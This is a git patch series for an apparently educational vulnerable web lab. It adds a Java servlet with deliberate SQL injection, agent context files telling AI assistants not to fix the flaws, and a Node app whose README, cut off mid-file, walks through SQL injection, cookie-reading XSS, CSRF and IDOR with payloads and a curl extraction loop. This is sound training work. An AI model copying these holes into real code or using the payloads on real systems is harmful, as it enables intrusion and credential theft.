From d1c6802eeaa7528122d805c81796c3a655790a80 Mon Sep 17 00:00:00 2001
From: "iaroslav.aleksandrov" <iaroslav.aleksandrov@de-unit-1678.fritz.box>
Date: Thu, 13 Nov 2025 16:58:21 +0100
Subject: [PATCH 1/3] Add Blind SQL Injection vulnerability example - Created
 BlindSQLInjection.java servlet demonstrating boolean-based blind SQLi - Added
 comprehensive JSP page with educational content and testing examples -
 Updated web.xml to register new servlet endpoint /BlindSQLInjection.do -
 Added navigation link in header.jsp under SQL Injection section - Includes
 detailed vulnerability documentation and attack examples

---
 .../jvl/controller/BlindSQLInjection.java     | 124 +++++++++++
 src/main/webapp/WEB-INF/web.xml               |   8 +
 src/main/webapp/header.jsp                    |   1 +
 .../vulnerability/sqli/blind-injection.jsp    | 210 ++++++++++++++++++
 4 files changed, 343 insertions(+)
 create mode 100644 src/main/java/org/cysecurity/cspf/jvl/controller/BlindSQLInjection.java
 create mode 100644 src/main/webapp/vulnerability/sqli/blind-injection.jsp

diff --git a/src/main/java/org/cysecurity/cspf/jvl/controller/BlindSQLInjection.java b/src/main/java/org/cysecurity/cspf/jvl/controller/BlindSQLInjection.java
new file mode 100644
index 00000000..ae33cf9d
--- /dev/null
+++ b/src/main/java/org/cysecurity/cspf/jvl/controller/BlindSQLInjection.java
@@ -0,0 +1,124 @@
+package org.cysecurity.cspf.jvl.controller;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.sql.Connection;
+import java.sql.ResultSet;
+import java.sql.Statement;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import org.cysecurity.cspf.jvl.model.DBConnect;
+import org.json.JSONObject;
+
+/**
+ * Blind SQL Injection Vulnerability Example
+ *
+ * This servlet demonstrates a blind SQL injection vulnerability where the application
+ * doesn't directly return database data but provides indirect feedback through
+ * different responses based on query results.
+ *
+ * Vulnerability Type: Blind SQL Injection
+ * Attack Vector: User Profile Existence Check
+ * Risk Level: High
+ *
+ * Educational Purpose:
+ * - Shows how blind SQL injection differs from error-based injection
+ * - Demonstrates boolean-based blind SQL injection
+ * - Illustrates time-based blind SQL injection possibilities
+ *
+ * @author JavaVulnerableLab
+ */
+public class BlindSQLInjection extends HttpServlet {
+
+    private static final long serialVersionUID = 1L;
+
+    protected void doGet(HttpServletRequest request, HttpServletResponse response)
+            throws ServletException, IOException {
+        doPost(request, response);
+    }
+
+    protected void doPost(HttpServletRequest request, HttpServletResponse response)
+            throws ServletException, IOException {
+
+        response.setContentType("application/json");
+        response.setCharacterEncoding("UTF-8");
+        PrintWriter out = response.getWriter();
+
+        String userId = request.getParameter("userId");
+        JSONObject jsonResponse = new JSONObject();
+
+        if (userId == null || userId.trim().isEmpty()) {
+            jsonResponse.put("status", "error");
+            jsonResponse.put("message", "User ID parameter is required");
+            out.print(jsonResponse.toString());
+            return;
+        }
+
+        try {
+            DBConnect dbConnect = new DBConnect();
+            Connection con = dbConnect.connect();
+
+            if (con != null) {
+                Statement stmt = con.createStatement();
+
+                // VULNERABLE CODE: Direct concatenation enables blind SQL injection
+                // Attacker can inject SQL conditions that will change the boolean result
+                // Examples of malicious payloads:
+                // userId = "1 AND 1=1"  -> Returns "exists" (true condition)
+                // userId = "1 AND 1=2"  -> Returns "not found" (false condition)
+                // userId = "1 AND (SELECT COUNT(*) FROM users WHERE username LIKE 'a%')>0" -> Boolean-based enumeration
+                // userId = "1 AND (SELECT SLEEP(5))"  -> Time-based blind injection (MySQL)
+                // userId = "1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>10" -> Schema enumeration
+
+                String query = "SELECT COUNT(*) as count FROM users WHERE id=" + userId;
+
+                // Log the query for educational purposes (in real apps, this would be logged secretly)
+                System.out.println("Executing query: " + query);
+
+                ResultSet rs = stmt.executeQuery(query);
+
+                if (rs.next()) {
+                    int count = rs.getInt("count");
+
+                    if (count > 0) {
+                        // User exists - different response
+                        jsonResponse.put("status", "success");
+                        jsonResponse.put("exists", true);
+                        jsonResponse.put("message", "User profile found");
+                        jsonResponse.put("timestamp", System.currentTimeMillis());
+                    } else {
+                        // User doesn't exist - different response
+                        jsonResponse.put("status", "success");
+                        jsonResponse.put("exists", false);
+                        jsonResponse.put("message", "User profile not found");
+                        jsonResponse.put("timestamp", System.currentTimeMillis());
+                    }
+                }
+
+                rs.close();
+                stmt.close();
+                con.close();
+
+            } else {
+                jsonResponse.put("status", "error");
+                jsonResponse.put("message", "Database connection failed");
+            }
+
+        } catch (Exception e) {
+            // Even error handling can leak information in blind SQLi
+            jsonResponse.put("status", "error");
+            if (e.getMessage().contains("syntax error") || e.getMessage().contains("SQL")) {
+                // Generic error message to prevent information disclosure
+                jsonResponse.put("message", "Invalid request format");
+            } else {
+                jsonResponse.put("message", "System error occurred");
+            }
+            // Log actual error for debugging (but don't expose to user)
+            System.err.println("BlindSQLInjection Error: " + e.getMessage());
+        }
+
+        out.print(jsonResponse.toString());
+    }
+}
\ No newline at end of file
diff --git a/src/main/webapp/WEB-INF/web.xml b/src/main/webapp/WEB-INF/web.xml
index d26a626c..d83dbc14 100644
--- a/src/main/webapp/WEB-INF/web.xml
+++ b/src/main/webapp/WEB-INF/web.xml
@@ -52,6 +52,10 @@
         <servlet-name>xxe</servlet-name>
         <servlet-class>org.cysecurity.cspf.jvl.controller.xxe</servlet-class>
     </servlet>
+    <servlet>
+        <servlet-name>BlindSQLInjection</servlet-name>
+        <servlet-class>org.cysecurity.cspf.jvl.controller.BlindSQLInjection</servlet-class>
+    </servlet>
    
     <servlet-mapping>
         <servlet-name>Install</servlet-name>
@@ -101,5 +105,9 @@
         <servlet-name>xxe</servlet-name>
         <url-pattern>/xxe.do</url-pattern>
     </servlet-mapping>
+    <servlet-mapping>
+        <servlet-name>BlindSQLInjection</servlet-name>
+        <url-pattern>/BlindSQLInjection.do</url-pattern>
+    </servlet-mapping>
    
 </web-app>
diff --git a/src/main/webapp/header.jsp b/src/main/webapp/header.jsp
index f2691bcf..89cff129 100644
--- a/src/main/webapp/header.jsp
+++ b/src/main/webapp/header.jsp
@@ -32,6 +32,7 @@
 						  <li><a href="<%=path%>/vulnerability/forumposts.jsp?postid=1">Sql Injection 1</a></li>
 						  <li><a href="<%=path%>/login.jsp">Authentication Bypass</a></li>
 						  <li><a href="<%=path%>/vulnerability/sqli/download.jsp">Blind SQLi 1</a></li>
+						  <li><a href="<%=path%>/vulnerability/sqli/blind-injection.jsp">Blind SQLi 2</a></li>
                                                    <li><a href="<%=path%>/vulnerability/sqli/union2.jsp">Union 2</a></li>
                                                 </ul>
                                             </li>
diff --git a/src/main/webapp/vulnerability/sqli/blind-injection.jsp b/src/main/webapp/vulnerability/sqli/blind-injection.jsp
new file mode 100644
index 00000000..e76a7227
--- /dev/null
+++ b/src/main/webapp/vulnerability/sqli/blind-injection.jsp
@@ -0,0 +1,210 @@
+<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
+<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>Blind SQL Injection - JavaVulnerableLab</title>
+    <style>
+        body {
+            font-family: Arial, sans-serif;
+            margin: 20px;
+            background-color: #f5f5f5;
+        }
+        .container {
+            max-width: 800px;
+            margin: 0 auto;
+            background: white;
+            padding: 30px;
+            border-radius: 8px;
+            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
+        }
+        .header {
+            color: #333;
+            border-bottom: 2px solid #e74c3c;
+            padding-bottom: 10px;
+            margin-bottom: 20px;
+        }
+        .vulnerability-info {
+            background-color: #fff3cd;
+            border: 1px solid #ffeaa7;
+            padding: 15px;
+            border-radius: 5px;
+            margin-bottom: 20px;
+        }
+        .form-group {
+            margin-bottom: 15px;
+        }
+        label {
+            display: block;
+            margin-bottom: 5px;
+            font-weight: bold;
+        }
+        input[type="text"], input[type="number"] {
+            width: 300px;
+            padding: 8px;
+            border: 1px solid #ddd;
+            border-radius: 4px;
+        }
+        button {
+            background-color: #e74c3c;
+            color: white;
+            padding: 10px 20px;
+            border: none;
+            border-radius: 4px;
+            cursor: pointer;
+            font-size: 16px;
+        }
+        button:hover {
+            background-color: #c0392b;
+        }
+        .result {
+            margin-top: 20px;
+            padding: 15px;
+            border-radius: 5px;
+            border: 1px solid #ddd;
+        }
+        .success {
+            background-color: #d4edda;
+            border-color: #c3e6cb;
+        }
+        .error {
+            background-color: #f8d7da;
+            border-color: #f5c6cb;
+        }
+        .examples {
+            background-color: #f8f9fa;
+            border: 1px solid #dee2e6;
+            padding: 15px;
+            border-radius: 5px;
+            margin-top: 20px;
+        }
+        .payload {
+            background-color: #f1f3f4;
+            padding: 5px 8px;
+            border-radius: 3px;
+            font-family: monospace;
+            margin: 2px;
+            display: inline-block;
+        }
+        .navigation {
+            text-align: center;
+            margin-bottom: 20px;
+        }
+        .navigation a {
+            color: #e74c3c;
+            text-decoration: none;
+            margin: 0 10px;
+        }
+    </style>
+</head>
+<body>
+    <div class="container">
+        <div class="navigation">
+            <a href="../../index.jsp">← Back to Home</a> |
+            <a href="../">Vulnerabilities</a> |
+            <a href="./">SQL Injection</a>
+        </div>
+
+        <div class="header">
+            <h1>Blind SQL Injection Vulnerability</h1>
+            <p>User Profile Existence Checker</p>
+        </div>
+
+        <div class="vulnerability-info">
+            <h3>⚠️ Vulnerability Information</h3>
+            <p><strong>Type:</strong> Blind SQL Injection</p>
+            <p><strong>Risk Level:</strong> High</p>
+            <p><strong>Attack Vector:</strong> User ID parameter in profile existence check</p>
+            <p><strong>Description:</strong> This page demonstrates blind SQL injection where the application doesn't return database data directly, but provides different responses based on query results, allowing attackers to infer information.</p>
+        </div>
+
+        <form id="checkForm">
+            <div class="form-group">
+                <label for="userId">Enter User ID to check if profile exists:</label>
+                <input type="text" id="userId" name="userId" placeholder="Enter user ID (e.g., 1, 2, 3...)" required>
+            </div>
+            <button type="submit">Check Profile</button>
+        </form>
+
+        <div id="result" class="result" style="display: none;">
+            <!-- Results will be displayed here -->
+        </div>
+
+        <div class="examples">
+            <h3>🔍 Testing Examples</h3>
+            <p><strong>Normal Usage:</strong></p>
+            <ul>
+                <li><span class="payload">1</span> - Check if user ID 1 exists</li>
+                <li><span class="payload">2</span> - Check if user ID 2 exists</li>
+                <li><span class="payload">999</span> - Non-existent user</li>
+            </ul>
+
+            <p><strong>Blind SQL Injection Payloads:</strong></p>
+            <ul>
+                <li><span class="payload">1 AND 1=1</span> - Always true condition</li>
+                <li><span class="payload">1 AND 1=2</span> - Always false condition</li>
+                <li><span class="payload">1 AND (SELECT COUNT(*) FROM users)>0</span> - Boolean-based enumeration</li>
+                <li><span class="payload">1 AND LENGTH(database())>5</span> - Database name length check</li>
+                <li><span class="payload">1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5</span> - Table count enumeration</li>
+                <li><span class="payload">1 AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'</span> - Character-by-character extraction</li>
+                <li><span class="payload">1 AND IF(1=1,SLEEP(3),0)</span> - Time-based blind injection (MySQL)</li>
+            </ul>
+
+            <p><strong>Attack Strategy:</strong></p>
+            <ol>
+                <li>Test with true/false conditions to confirm injection</li>
+                <li>Use boolean conditions to enumerate database structure</li>
+                <li>Extract data character by character using ASCII comparisons</li>
+                <li>Use time delays for time-based blind injection</li>
+            </ol>
+        </div>
+    </div>
+
+    <script>
+        document.getElementById('checkForm').addEventListener('submit', function(e) {
+            e.preventDefault();
+
+            const userId = document.getElementById('userId').value;
+            const resultDiv = document.getElementById('result');
+
+            if (!userId.trim()) {
+                showResult('error', 'Please enter a User ID');
+                return;
+            }
+
+            // Show loading
+            showResult('info', 'Checking user profile...');
+
+            // Make AJAX request to the vulnerable servlet
+            fetch('../../BlindSQLInjection.do', {
+                method: 'POST',
+                headers: {
+                    'Content-Type': 'application/x-www-form-urlencoded',
+                },
+                body: 'userId=' + encodeURIComponent(userId)
+            })
+            .then(response => response.json())
+            .then(data => {
+                if (data.status === 'success') {
+                    const message = data.exists ?
+                        `✓ User profile found! (ID: ${userId})` :
+                        `✗ User profile not found (ID: ${userId})`;
+                    showResult('success', message + `<br><small>Response time: ${data.timestamp ? 'Available' : 'N/A'}</small>`);
+                } else {
+                    showResult('error', data.message || 'An error occurred');
+                }
+            })
+            .catch(error => {
+                showResult('error', 'Request failed: ' + error.message);
+            });
+        });
+
+        function showResult(type, message) {
+            const resultDiv = document.getElementById('result');
+            resultDiv.style.display = 'block';
+            resultDiv.className = 'result ' + (type === 'success' ? 'success' : 'error');
+            resultDiv.innerHTML = '<strong>' + (type === 'success' ? 'Result:' : 'Error:') + '</strong> ' + message;
+        }
+    </script>
+</body>
+</html>
\ No newline at end of file

From 4224b9cb0cc1ec7d32401a98e8cc4a06b4dd49eb Mon Sep 17 00:00:00 2001
From: "iaroslav.aleksandrov"
 <iaroslav.aleksandrov@de-unit-1678.ber.labs.intellij.net>
Date: Wed, 25 Feb 2026 13:47:20 +0100
Subject: [PATCH 2/3] Update CI workflow

---
 .github/workflows/ci.yml |  30 ++++++
 AGENTS.md                |  32 ++++++
 CLAUDE.md                | 219 +++++++++++++++++++++++++++++++++++++++
 3 files changed, 281 insertions(+)
 create mode 100644 .github/workflows/ci.yml
 create mode 100644 AGENTS.md
 create mode 100644 CLAUDE.md

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
new file mode 100644
index 00000000..34cdbd3c
--- /dev/null
+++ b/.github/workflows/ci.yml
@@ -0,0 +1,30 @@
+name: CI
+
+on:
+  push:
+  pull_request:
+  workflow_dispatch:
+
+jobs:
+  test-and-build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Set up JDK 8
+        uses: actions/setup-java@v4
+        with:
+          distribution: temurin
+          java-version: '8'
+          cache: maven
+
+      - name: Build and test
+        run: mvn -B clean verify
+
+      - name: Upload WAR artifact
+        uses: actions/upload-artifact@v4
+        with:
+          name: JavaVulnerableLab.war
+          path: target/JavaVulnerableLab.war
+          if-no-files-found: error
diff --git a/AGENTS.md b/AGENTS.md
new file mode 100644
index 00000000..18fb020c
--- /dev/null
+++ b/AGENTS.md
@@ -0,0 +1,32 @@
+# Repository Guidelines
+
+## Project Structure & Module Organization
+- `src/main/java/org/cysecurity/cspf/jvl/`: Java servlets and models. Controllers live in `controller/`, data/utility classes in `model/`.
+- `src/main/webapp/`: JSPs and static web assets. Vulnerability demos are grouped under `vulnerability/` by OWASP category (e.g., `vulnerability/sqli/`, `vulnerability/xss/`).
+- `src/main/webapp/WEB-INF/web.xml`: servlet mappings and configuration.
+- Root files: `pom.xml` (Maven build), `docker-compose.yml` (Docker stack).
+
+## Build, Test, and Development Commands
+- `mvn clean package`: build the WAR (`target/JavaVulnerableLab.war`).
+- `docker-compose up`: start app + MySQL via Docker; then open `http://localhost:8080/JavaVulnerableLab/install.jsp` and set JDBC URL to `jdbc:mysql://mysql:3306`.
+- Deploy manually: copy WAR to Tomcat `webapps/` and open `http://localhost:8080/JavaVulnerableLab/install.jsp`.
+
+## Coding Style & Naming Conventions
+- Java package root: `org.cysecurity.cspf.jvl.*`.
+- Controllers are servlet classes in `controller/` and are registered in `web.xml`.
+- JSPs should be placed in the matching vulnerability subfolder (e.g., SQLi pages in `vulnerability/sqli/`).
+- Naming: servlet classes in PascalCase (e.g., `BlindSQLInjection.java`), JSPs in lowercase with hyphens or descriptive names (e.g., `blind-injection.jsp`).
+
+## Testing Guidelines
+- JUnit is listed as a dependency, but there are no automated tests in the repo right now.
+- If you add tests, place them under `src/test/java/` and keep names ending with `Test`.
+- Run tests with `mvn test` after adding any test suites.
+
+## Commit & Pull Request Guidelines
+- Commits in history use short imperative subjects (e.g., `Add Blind SQL Injection vulnerability example`, `Update README.md`). Follow that style.
+- PRs should describe the vulnerability demonstrated, include the new servlet/JSP paths, and list the exact endpoint(s) added.
+
+## Security & Configuration Notes
+- This application is intentionally vulnerable. Do not harden or “fix” vulnerabilities unless explicitly asked.
+- Never deploy to production or a public server. Use Docker/VMs only.
+- When adding new vulnerability examples, include educational text and attack examples in the JSP, and add navigation links in `src/main/webapp/header.jsp`.
diff --git a/CLAUDE.md b/CLAUDE.md
new file mode 100644
index 00000000..a5eb2591
--- /dev/null
+++ b/CLAUDE.md
@@ -0,0 +1,219 @@
+# JavaVulnerableLab - Project Context
+
+## Project Overview
+**JavaVulnerableLab** is an intentionally vulnerable web application developed by Cyber Security and Privacy Foundation (CSPF) for educational purposes. It's designed to teach Java programmers and security professionals about common web application vulnerabilities and how to write secure code.
+
+⚠️ **WARNING**: This is a deliberately vulnerable application. Never deploy to production or any internet-accessible server. Use only in isolated virtual machines or Docker containers.
+
+## Project Purpose
+- Educational tool for learning web application security vulnerabilities
+- Hands-on practice for identifying and exploiting common security flaws
+- Reference for understanding secure coding practices by studying vulnerable examples
+- Part of CSPF's Java Security Course (https://github.com/CSPF-Founder/JavaSecurityCourse)
+
+## Technology Stack
+- **Language**: Java
+- **Web Framework**: Java Servlets & JSP
+- **Application Server**: Apache Tomcat
+- **Build Tool**: Maven
+- **Database**: MySQL
+- **ORM**: Hibernate 4.0.1.Final
+- **Servlet API**: 2.3
+- **JSTL**: 1.2
+- **MySQL Connector**: 5.1.26
+
+## Project Structure
+
+### Source Code Organization
+```
+src/main/java/org/cysecurity/cspf/jvl/
+├── controller/          # Servlet controllers
+│   ├── Install.java
+│   ├── LoginValidator.java
+│   ├── Register.java
+│   ├── Logout.java
+│   ├── SendMessage.java
+│   ├── ForwardMe.java
+│   ├── AddPage.java
+│   ├── UsernameCheck.java
+│   ├── EmailCheck.java
+│   ├── XPathQuery.java
+│   ├── xxe.java
+│   ├── BlindSQLInjection.java (latest addition)
+│   └── ...
+└── model/              # Data models and utilities
+    ├── DBConnect.java
+    ├── HashMe.java
+    └── orm/
+        └── Users.java
+
+src/main/webapp/
+├── WEB-INF/
+│   ├── web.xml          # Servlet mappings and configuration
+│   └── AdminPanel.jsp
+├── vulnerability/       # Vulnerability demonstration pages
+│   ├── sqli/           # SQL Injection examples
+│   ├── xss/            # Cross-Site Scripting examples
+│   ├── csrf/           # CSRF examples
+│   ├── idor/           # Insecure Direct Object Reference
+│   ├── Injection/      # Various injection attacks
+│   ├── unvalidated/    # Unvalidated redirects
+│   ├── baasm/          # Broken Authentication
+│   ├── sde/            # Sensitive Data Exposure
+│   ├── securitymisconfig/
+│   └── mfac/
+├── admin/              # Admin panel pages
+├── header.jsp
+├── footer.jsp
+├── index.jsp
+├── login.jsp
+└── ...
+```
+
+## Vulnerabilities Demonstrated
+
+The application intentionally includes the following OWASP Top 10 vulnerabilities:
+
+1. **SQL Injection**
+   - Classic SQL injection in login forms
+   - Union-based SQL injection
+   - Blind SQL injection (boolean-based)
+   - File: `BlindSQLInjection.java`, `download_id.jsp`, `download_id_union.jsp`
+
+2. **Cross-Site Scripting (XSS)**
+   - Reflected XSS
+   - Stored XSS
+   - DOM-based XSS
+   - Directory: `vulnerability/xss/`
+
+3. **Cross-Site Request Forgery (CSRF)**
+   - Password change without CSRF tokens
+   - Profile update vulnerabilities
+   - Directory: `vulnerability/csrf/`
+
+4. **Insecure Direct Object References (IDOR)**
+   - Email change without authorization
+   - File download with predictable IDs
+   - Directory: `vulnerability/idor/`
+
+5. **XML External Entity (XXE)**
+   - File: `xxe.java`, `xxe.jsp`
+
+6. **XPath Injection**
+   - File: `XPathQuery.java`, `xpath_login.jsp`
+
+7. **Broken Authentication and Session Management**
+   - URL rewriting exposing session tokens
+   - Directory: `vulnerability/baasm/`
+
+8. **Sensitive Data Exposure**
+   - Weak hashing mechanisms
+   - Directory: `vulnerability/sde/`
+
+9. **Security Misconfiguration**
+   - Directory: `vulnerability/securitymisconfig/`
+
+10. **Unvalidated Redirects and Forwards**
+    - Files: `ForwardMe.java`, `OpenURL.jsp`, `OpenForward.jsp`
+
+## Recent Changes
+- **Latest**: Added Blind SQL Injection vulnerability example
+  - Servlet: `BlindSQLInjection.java`
+  - JSP: `blind-injection.jsp`
+  - Demonstrates boolean-based blind SQL injection
+  - Educational content with attack examples
+  - Endpoint: `/BlindSQLInjection.do`
+
+## Setup Instructions
+
+### Docker (Recommended)
+```bash
+docker-compose up
+# Access: http://localhost:8080/JavaVulnerableLab/install.jsp
+# Change JDBC URL to: jdbc:mysql://mysql:3306
+```
+
+### Local Development
+```bash
+# Build
+mvn clean package
+
+# Deploy WAR to Tomcat
+cp target/JavaVulnerableLab.war $TOMCAT_HOME/webapps/
+
+# Access
+http://localhost:8080/JavaVulnerableLab/install.jsp
+```
+
+### Requirements
+- JDK 7 or higher
+- Apache Tomcat 7 or higher
+- MySQL 5.x
+- Maven 3.x
+
+## Git Information
+- **Main Branch**: `master`
+- **Current Branch**: `feature/blind-sql-injection`
+- **Remote**: GitHub repository
+
+## Important Conventions
+
+### Code Style
+- Package structure: `org.cysecurity.cspf.jvl.*`
+- Controllers follow servlet pattern
+- JSP pages in semantic directory structure
+- Vulnerability examples grouped by OWASP category
+
+### Adding New Vulnerabilities
+1. Create servlet in `src/main/java/org/cysecurity/cspf/jvl/controller/`
+2. Create JSP in appropriate `src/main/webapp/vulnerability/` subdirectory
+3. Register servlet in `web.xml`
+4. Add navigation link in `header.jsp`
+5. Include educational content explaining the vulnerability
+6. Provide example attack vectors
+
+### Database
+- Connection managed by `DBConnect.java`
+- Uses JDBC directly for most queries (intentionally vulnerable)
+- Hibernate ORM available but selectively used
+
+## Security Analysis Notes
+
+When working with this codebase:
+- **Never propose fixes** - vulnerabilities are intentional and educational
+- **Document vulnerabilities** clearly when adding new examples
+- **Include attack examples** to help students understand exploitation
+- **Add educational content** explaining why code is vulnerable
+- **Test exploits** to ensure vulnerabilities work as intended
+- **Reference OWASP** guidelines where applicable
+
+## Related Resources
+- Full Course: https://github.com/CSPF-Founder/JavaSecurityCourse
+- Udemy Course: https://www.udemy.com/hacking-securing-java-web-programming/
+- VulnerableSpring Project: https://github.com/CSPF-Founder/VulnerableSpring
+- CSPF Website: https://www.cysecurity.org
+
+## Development Notes
+- **Purpose**: Educational demonstration of vulnerabilities
+- **Target Audience**: Java developers learning security, security researchers, students
+- **Legal Usage**: Only in authorized testing environments (VM, Docker, isolated networks)
+- **License**: Check repository for specific license terms
+- **Contribution**: Follow existing patterns when adding new vulnerability examples
+
+## Build Output
+- **Artifact**: JavaVulnerableLab.war
+- **Deployment**: Standard Java WAR file for servlet containers
+- **Configuration**: web.xml follows Servlet 2.3 spec
+
+## Dependencies Summary
+- **mysql-connector-java**: 5.1.26 (MySQL database connectivity)
+- **json**: 20090211 (JSON processing)
+- **jstl**: 1.2 (JSP Standard Tag Library)
+- **hibernate-core**: 4.0.1.Final (ORM framework)
+- **servlet-api**: 2.3 (Servlet specification)
+- **junit**: 3.8.1 (Testing framework)
+
+---
+*Last Updated: 2026-02-24*
+*Project: JavaVulnerableLab by CSPF*
+*Context Document for Claude Code Assistant*

From 6c4bc5ac5003a467a736e49a693e148cb5e2ab6a Mon Sep 17 00:00:00 2001
From: "iaroslav.aleksandrov" <iaroslav.aleksandrov@de-unit-1678.fritz.box>
Date: Fri, 24 Apr 2026 20:42:59 +0200
Subject: [PATCH 3/3] Add node-vuln-app: intentionally vulnerable Node/Express
 sibling app

Demonstrates SQLi (classic/UNION/blind), reflected + stored XSS,
CSRF on profile/password, and IDOR on files/users. Educational only.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---
 node-vuln-app/.gitignore                |    5 +
 node-vuln-app/README.md                 |  145 ++
 node-vuln-app/db.js                     |   43 +
 node-vuln-app/package-lock.json         | 2464 +++++++++++++++++++++++
 node-vuln-app/package.json              |   19 +
 node-vuln-app/public/css/style.css      |   35 +
 node-vuln-app/routes/auth.js            |   50 +
 node-vuln-app/routes/home.js            |    8 +
 node-vuln-app/routes/idor.js            |   37 +
 node-vuln-app/routes/profile.js         |   43 +
 node-vuln-app/routes/sqli.js            |   44 +
 node-vuln-app/routes/xss.js             |   33 +
 node-vuln-app/seed.js                   |   80 +
 node-vuln-app/server.js                 |   43 +
 node-vuln-app/views/blind.ejs           |   21 +
 node-vuln-app/views/file_view.ejs       |    5 +
 node-vuln-app/views/files.ejs           |   17 +
 node-vuln-app/views/hello.ejs           |   16 +
 node-vuln-app/views/index.ejs           |   49 +
 node-vuln-app/views/login.ejs           |   25 +
 node-vuln-app/views/messages.ejs        |   28 +
 node-vuln-app/views/partials/footer.ejs |    6 +
 node-vuln-app/views/partials/header.ejs |   29 +
 node-vuln-app/views/profile.ejs         |   25 +
 node-vuln-app/views/register.ejs        |   10 +
 node-vuln-app/views/search.ejs          |   35 +
 node-vuln-app/views/user_view.ejs       |    9 +
 27 files changed, 3324 insertions(+)
 create mode 100644 node-vuln-app/.gitignore
 create mode 100644 node-vuln-app/README.md
 create mode 100644 node-vuln-app/db.js
 create mode 100644 node-vuln-app/package-lock.json
 create mode 100644 node-vuln-app/package.json
 create mode 100644 node-vuln-app/public/css/style.css
 create mode 100644 node-vuln-app/routes/auth.js
 create mode 100644 node-vuln-app/routes/home.js
 create mode 100644 node-vuln-app/routes/idor.js
 create mode 100644 node-vuln-app/routes/profile.js
 create mode 100644 node-vuln-app/routes/sqli.js
 create mode 100644 node-vuln-app/routes/xss.js
 create mode 100644 node-vuln-app/seed.js
 create mode 100644 node-vuln-app/server.js
 create mode 100644 node-vuln-app/views/blind.ejs
 create mode 100644 node-vuln-app/views/file_view.ejs
 create mode 100644 node-vuln-app/views/files.ejs
 create mode 100644 node-vuln-app/views/hello.ejs
 create mode 100644 node-vuln-app/views/index.ejs
 create mode 100644 node-vuln-app/views/login.ejs
 create mode 100644 node-vuln-app/views/messages.ejs
 create mode 100644 node-vuln-app/views/partials/footer.ejs
 create mode 100644 node-vuln-app/views/partials/header.ejs
 create mode 100644 node-vuln-app/views/profile.ejs
 create mode 100644 node-vuln-app/views/register.ejs
 create mode 100644 node-vuln-app/views/search.ejs
 create mode 100644 node-vuln-app/views/user_view.ejs

diff --git a/node-vuln-app/.gitignore b/node-vuln-app/.gitignore
new file mode 100644
index 00000000..a19bd1bb
--- /dev/null
+++ b/node-vuln-app/.gitignore
@@ -0,0 +1,5 @@
+node_modules/
+data/*.sqlite
+*.log
+.DS_Store
+.env
diff --git a/node-vuln-app/README.md b/node-vuln-app/README.md
new file mode 100644
index 00000000..5ccfc9f5
--- /dev/null
+++ b/node-vuln-app/README.md
@@ -0,0 +1,145 @@
+# node-vuln-app
+
+An intentionally vulnerable Node/Express web app for security training.
+Sibling to `JavaVulnerableLab` — same spirit, different stack.
+
+> :warning: **Do not deploy.** Only run on a loopback interface inside an
+> isolated VM, container, or trusted dev machine. Several endpoints allow
+> arbitrary data theft and account takeover by design.
+
+## What it demonstrates
+
+| Class | Endpoint | Flaw |
+| --- | --- | --- |
+| SQLi — classic | `POST /login` | string-concat SQL; `admin' --` bypass |
+| SQLi — UNION | `GET /search` | 3-col SELECT with concatenated `q` |
+| SQLi — blind | `GET /account/check` | boolean oracle via response text |
+| XSS — reflected | `GET /hello` | query param rendered with `<%- %>` |
+| XSS — stored | `GET/POST /messages` | message body rendered as raw HTML |
+| CSRF — email | `POST /profile/update` | no token, cookie has no SameSite |
+| CSRF — password | `POST /profile/password` | same, higher blast |
+| IDOR — files | `GET /file?id=N` | no ownership check |
+| IDOR — users | `GET /user/:id` | leaks private fields to anyone |
+
+## Setup
+
+Requires Node 18+.
+
+```bash
+cd node-vuln-app
+npm install
+npm run seed     # creates data/vuln.sqlite and populates demo users
+npm start        # http://localhost:3000
+```
+
+Demo accounts (plaintext passwords — by design):
+
+| user | pass | role |
+| --- | --- | --- |
+| admin | admin123 | admin |
+| alice | wonderland | user |
+| bob | builder | user |
+| carol | carolpass | user |
+
+## Exploit walkthrough
+
+### 1. Classic SQL injection (auth bypass)
+
+Log in with:
+
+- username: `admin' --`
+- password: *(anything)*
+
+The app builds
+`SELECT id, username, role FROM users WHERE username = 'admin' --' AND password = '...'`
+and you are admin.
+
+### 2. UNION-based SQL injection
+
+```
+http://localhost:3000/search?q=zzz' UNION SELECT id, username, password FROM users --
+```
+
+The results table renders username/password pairs in the author/body columns.
+
+### 3. Boolean-blind SQL injection
+
+`/account/check?name=admin' AND substr(password,1,1)='a' --`
+returns "No such account." — wrong guess.
+
+`/account/check?name=admin' AND substr(password,1,1)='a' --` etc., iterating
+over the alphabet and position until the page flips to "Account exists." leaks
+the admin password.
+
+Quick leak script:
+
+```bash
+for c in {a..z} {0..9}; do
+  r=$(curl -s "http://localhost:3000/account/check?name=admin%27%20AND%20substr(password,1,1)=%27$c%27%20--")
+  echo "$r" | grep -q 'Account exists' && echo "char 1 = $c"
+done
+```
+
+### 4. Reflected XSS
+
+`http://localhost:3000/hello?greet=<script>alert(document.cookie)</script>`
+
+### 5. Stored XSS
+
+Log in as any user, go to `/messages`, post:
+
+```html
+<img src=x onerror="alert('stored-xss: ' + document.cookie)">
+```
+
+Every subsequent visitor executes it.
+
+### 6. CSRF — silently change a victim's email
+
+Save this as `attacker.html` and open it in a browser where you are logged
+in as alice:
+
+```html
+<!doctype html>
+<html><body>
+<form id=f action="http://localhost:3000/profile/update" method="post">
+  <input name="email" value="attacker@evil.test">
+  <input name="bio" value="pwned">
+</form>
+<script>document.getElementById('f').submit()</script>
+</body></html>
+```
+
+Serve it from any other origin (even `file://`) and the victim's email is
+overwritten. Same pattern against `/profile/password` = account takeover.
+
+### 7. IDOR
+
+- `/file?id=1` — admin's notes, regardless of who you are logged in as.
+- `/user/3` — bob's email address, no login required at all.
+
+## Layout
+
+```
+node-vuln-app/
+  server.js           # express app, sessions, route mounts
